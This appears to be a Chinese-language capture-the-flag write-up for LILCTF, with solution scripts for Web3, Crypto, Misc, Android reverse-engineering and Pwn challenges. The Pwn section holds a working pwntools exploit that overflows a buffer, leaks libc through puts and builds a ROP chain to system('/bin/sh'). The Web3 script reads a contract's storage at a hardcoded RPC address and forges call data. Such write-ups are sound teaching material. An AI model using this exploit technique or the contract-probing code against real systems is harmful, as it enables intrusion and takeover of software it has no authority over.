1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from web3 import Web3 rpc_url = "http://106.15.138.99:8545/" contract_address = "0x5cbc5d6146fC71220aFeF28F4208EE5E5b799bCd" w3 = Web3(Web3.HTTPProvider(rpc_url)) treasure_data = b"" slot0 = w3.keccak(hexstr="0x0000000000000000000000000000000000000000000000000000000000000000" ).hex () slot1 = int (slot0, 16 ) + 1 slot1 = hex (slot1) slot0_data = w3.eth.get_storage_at(contract_address, slot0) slot1_data = w3.eth.get_storage_at(contract_address, slot1) treasure_data = slot0_data + slot1_data treasure = treasure_data[:46 ]print (treasure)
真难看,不过我们还没有解密 接下来逆向解密代码(懒得看了ai写的解密代码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 key_hex = "35b2bcaf9a9b9a1c19199ab3" val = 0x35b2bcaf9a9b9a1c19199ab3 shift = 161 res = (val << shift) & ((1 << 256 ) - 1 ) key_32_bytes = res.to_bytes(32 , 'big' ) key = key_32_bytes[:12 ] decrypted_treasure = bytearray ()for i in range (len (treasure)): decrypted_treasure.append(treasure[i] ^ key[i % len (key)]) print (f"Key: {key.hex ()} " )print (f"Calculated Input (Treasure XOR Key): {decrypted_treasure.hex ()} " )
接下来构造payload
1 2 3 4 5 6 7 final_payload = "0x5cc4d812" + "0000000000000000000000000000000000000000000000000000000000000020" final_payload += hex (len (decrypted_treasure))[2 :].zfill(64 ) final_payload += decrypted_treasure.hex ().ljust(64 , '0' ) print (final_payload)
call一下,没有回滚,成功了
1 2 3 4 result = w3.eth.call({ 'to' : contract_address, 'data' : final_payload })
实际上,可以发现payload就是构造函数的传入参数:),而且hex解码之后就是flag的后半部分
Crypto 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from Crypto.Util.number import long_to_bytesdef legendre (a, p ): ls = pow (a, (p - 1 ) // 2 , p) return -1 if ls == p - 1 else lsdef sqrt_mod (a, p ): if legendre(a, p) != 1 : return 0 if a == 0 : return 0 if p % 4 == 3 : return pow (a, (p + 1 ) // 4 , p) S, Q = 0 , p - 1 while Q % 2 == 0 : S += 1 Q //= 2 z = 2 while legendre(z, p) != -1 : z += 1 M, c, t, R = S, pow (z, Q, p), pow (a, Q, p), pow (a, (Q + 1 ) // 2 , p) while t != 1 : if t == 0 : return 0 i, temp_t = 0 , t while temp_t != 1 : temp_t = pow (temp_t, 2 , p) i += 1 if i == M: return 0 b = pow (c, pow (2 , M - i - 1 , p - 1 ), p) M, c = i, (b * b) % p t, R = (t * c) % p, (R * b) % p return R p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161 C = [[7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645 ,7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801 ],[7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808 ,2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872 ]] c11, c12 = C[0 ][0 ], C[0 ][1 ] c21, c22 = C[1 ][0 ], C[1 ][1 ] tr = (c11 + c22) % p det = (c11 * c22 - c12 * c21) % p delta = (tr * tr - 4 * det) % p sqrt_d = sqrt_mod(delta, p) inv2 = pow (2 , -1 , p) l1 = ((tr + sqrt_d) * inv2) % p l2 = ((tr - sqrt_d) * inv2) % p f1 = long_to_bytes(l1) f2 = long_to_bytes(l2)try : print (f"LILCTF{{{(f1 + f2).decode()} }}" )except : pass try : print (f"LILCTF{{{(f2 + f1).decode()} }}" )except : pass
Misc 提前放出附件
v我50RMB 数据库的信息是webp导致保存下来的是截断的图片,但是实际服务器上储存的是png文件,通过抓包可以知道
PNG Master
文件尾藏了一个
RGB
binwalk
Re ASM ASM 使用jadx打开apk文件,在AndroidManifest.xml中找到主页面work.pangbai.ez_asm_hahaha.MainActivity
发现程序的基本流程是对输入的字符串用check函数加密后,与KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S进行对比校验,而check函数是在ez_asm_hahaha.so这个库中实现的
于是我们可以将ez_asm_hahaha.so提取出来,放入IDA进行逆向。
通过分析我们得知加密过程就是下面这一段。整个程序具体过程如下:
输入字符串必须是48字节长度
有一个变换过程,使用了NEON指令进行异或和表查找操作
接着有一个位操作的循环
最后进行Base64编码
目标输出是:”KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S”
值得注意的是,这里的base64进行了换表
然后依照程序流程逆向实现一遍即可。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 const char base64[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/" ; const uint8_t t[] = {0xD , 0xE , 0xF , 0xC , 0xB , 0xA , 9 , 8 , 6 , 7 , 5 , 4 , 2 , 3 , 1 , 0 }; char* decodeBase64(const char* input , int * output_len) { int len = strlen(input ); int decode_table[256 ]; memset(decode_table, -1 , sizeof(decode_table)); for (int i = 0 ; i < 64 ; i++) { decode_table[(unsigned char)base64[i]] = i; } char* result = malloc(3 * (len / 4 ) + 1 ); int out_pos = 0 ; for (int i = 0 ; i < len ; i += 4 ) { int val = 0 ; for (int j = 0 ; j < 4 ; j++) { if (i + j < len && input [i + j] != '=' ) { val = (val << 6 ) | decode_table[(unsigned char)input [i + j]]; } else { val = val << 6 ; } } result[out_pos++] = (val >> 16 ) & 0xFF ; if (input [i + 2 ] != '=' ) { result[out_pos++] = (val >> 8 ) & 0xFF ; } if (input [i + 3 ] != '=' ) { result[out_pos++] = val & 0xFF ; } } result[out_pos] = '\0' ; *output_len = out_pos; return result; } void reverse_bit_operations(char* data, int len ) { for (int j = 0 ; j < len ; j += 3 ) { if (j + 2 < len ) { uint8_t temp1 = data[j + 1 ]; data[j + 1 ] = ((temp1 << 1 ) & 0xFE ) | ((temp1 >> 7 ) & 0x01 ); uint8_t temp0 = data[j]; data[j] = ((temp0 << 5 ) & 0xE0 ) | ((temp0 >> 3 ) & 0x1F ); } } } void reverse_neon_transform(uint8_t* data) { uint8_t v10_states[4 ][16 ]; memcpy(v10_states[0 ], t, 16 ); for (int i = 0 ; i < 3 ; i++) { memcpy(v10_states[i + 1 ], v10_states[i], 16 ); for (int k = 0 ; k < 16 ; k++) { v10_states[i + 1 ][k] ^= i; } } for (int i = 2 ; i >= 0 ; i--) { uint8_t* current_v10 = v10_states[i]; for (int j = 0 ; j < 16 ; j++) { data[16 * i + j] ^= current_v10[j]; } uint8_t temp_block[16 ]; memcpy(temp_block, &data[16 * i], 16 ); for (int j = 0 ; j < 16 ; j++) { data[16 * i + current_v10[j]] = temp_block[j]; } } }int main() { const char* target = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S" ; printf("开始逆向分析...\n" ); printf("目标字符串: %s\n" , target); int decoded_len; char* decoded = decodeBase64(target, &decoded_len); printf("Base64解码后长度: %d\n" , decoded_len); printf("解码后的十六进制数据:\n" ); for (int i = 0 ; i < decoded_len; i++) { printf("%02X " , (unsigned char)decoded[i]); if ((i + 1 ) % 16 == 0 ) printf("\n" ); } printf("\n" ); printf("\n逆向位操作...\n" ); reverse_bit_operations(decoded, decoded_len); printf("逆向位操作后的十六进制数据:\n" ); for (int i = 0 ; i < decoded_len; i++) { printf("%02X " , (unsigned char)decoded[i]); if ((i + 1 ) % 16 == 0 ) printf("\n" ); } printf("\n" ); printf("\n逆向NEON变换...\n" ); if (decoded_len >= 48 ) { reverse_neon_transform((uint8_t*)decoded); printf("逆向NEON变换后的十六进制数据:\n" ); for (int i = 0 ; i < 48 ; i++) { printf("%02X " , (unsigned char)decoded[i]); if ((i + 1 ) % 16 == 0 ) printf("\n" ); } printf("\n" ); printf("可能的FLAG (ASCII): " ); for (int i = 0 ; i < 48 ; i++) { if (decoded[i] >= 32 && decoded[i] <= 126 ) { printf("%c" , decoded[i]); } else { printf("\\x%02X" , (unsigned char)decoded[i]); } } } free(decoded); return 0 ; }
Pwn 签到 利用puts泄露出全局libc地址,构造ROP执行system(“/bin/sh”)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import * context.log_level = "debug" context.terminal = ["tmux" , "splitw" , "-h" ] context.os = "linux" context.arch = "amd64" elf = ELF("./pwn" ) libc = ELF("./libc.so.6" ) p = process("./pwn" ) pop_rdi = 0x0000000000401176 payload = ( b"A" * 0x70 + p64(elf.bss() + 0x200 ) + p64(pop_rdi) + p64(elf.got["puts" ]) + p64(elf.plt["puts" ]) + p64(elf.sym["main" ]) ) p.sendlineafter(b"What's your name?\n" , payload) puts_addr = u64(p.recvline().strip().ljust(8 , b"\x00" )) log.success(f"puts: {hex (puts_addr)} " ) libc.address = puts_addr - libc.sym["puts" ] payload = ( b"A" * 0x70 + p64(elf.bss() + 0x200 ) + p64(libc.address + 0x0000000000029139 ) + p64(pop_rdi) + p64(libc.address + 0x00000000001d8678 ) + p64(libc.sym["system" ]) ) p.sendlineafter(b"What's your name?\n" , payload) p.interactive()